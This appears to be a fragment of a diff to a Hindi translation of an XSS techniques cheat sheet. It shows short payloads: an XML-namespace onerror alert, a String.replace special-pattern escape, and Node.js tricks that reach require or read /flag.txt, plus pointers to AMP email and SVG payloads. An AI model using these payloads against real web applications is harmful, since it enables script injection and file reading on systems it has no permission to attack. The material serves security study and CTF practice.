* **module** (डिफ़ॉल्ट, समझाने के लिए कुछ नहीं)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप कई डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक विशेषता है जिससे आप डेटा (HTML, CSS, JS…) को एक साथ **`.wbn`** फ़ाइल में पैकेज कर सकते हैं।
```html
<script type="webbundle">
{
@ -930,7 +930,7 @@ import { partition } from "lodash";
### xml Content Type
यदि पृष्ठ एक text/xml सामग्री प्रकार लौटाता है तो यह एक namespace निर्दिष्ट करना और मनमाना JS निष्पादित करना संभव है:
यदि पृष्ठ एक text/xml सामग्री प्रकार वापस कर रहा है, तो एक namespace को इंगित करना और मनमाना JS निष्पादित करना संभव है:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -940,9 +940,9 @@ import { partition } from "lodash";
```
### विशेष प्रतिस्थापन पैटर्न
जब कुछ ऐस**`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
जब कुछ इस तरह क**`"some {{template}} data".replace("{{template}}", <user_input>)`** उपयोग किया जाता है। हमलावर [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग **एक JSON स्ट्रिंग** को एक स्क्रिप्ट के अंदर स्केप करने और मनमाने कोड को निष्पादित करने के लिए किया गया था।
उदाहरण के लिए [**इस लेख**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में, इसका उपयोग एक स्क्रिप्ट के अंदर **JSON स्ट्रिंग को स्केप** करने और मनमाना कोड निष्पादित करने के लिए किया गया था।
### क्रोम कैश से XSS
@ -998,7 +998,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
});
```
इसलिए, यदि उस मॉड्यूल से हम **दूसरी फ़ंक्शन को कॉल कर सकते हैं**, तो उस फ़ंक्शन से **`require`** तक पहुँचने के लिए `arguments.callee.caller.arguments[1]` का उपयोग करना संभव है:
इसलिए, यदि उस मॉड्यूल से हम **दूसरी फ़ंक्शन को कॉल कर सकते हैं**, तो उस फ़ंक्शन से **`require`** तक पहुँचने के लिए `arguments.callee.caller.arguments[1]` का उपयोग करना संभव है:
{% code overflow="wrap" %}
```javascript
@ -1006,7 +1006,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
{% endcode %}
पिछले उदाहरण की तरह, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
पिछले उदाहरण के समान, **त्रुटि हैंडलर** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँच प्राप्त करना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
```javascript
try {
null.f()
@ -1366,7 +1366,7 @@ More information about this technique here: [**XSLT**](../xslt-server-side-injec
### XSS in Amp4Email
AMP, जो मोबाइल उपकरणों पर वेब पृष्ठ के प्रदर्शन को तेज करने के लिए लक्षित है, HTML टैग को JavaScript द्वारा पूरक करता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने के लिए, HTML टैग को JavaScript के साथ जोड़ता है ताकि गति और सुरक्षा पर जोर देते हुए कार्यक्षमता सुनिश्चित की जा सके। यह विभिन्न सुविधाओं के लिए कई घटकों का समर्थन करता है, जो [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से उपलब्ध हैं।
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप विशिष्ट AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ता अपने ईमेल के भीतर सीधे सामग्री के साथ इंटरैक्ट कर सकते हैं।
@ -1446,7 +1446,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_).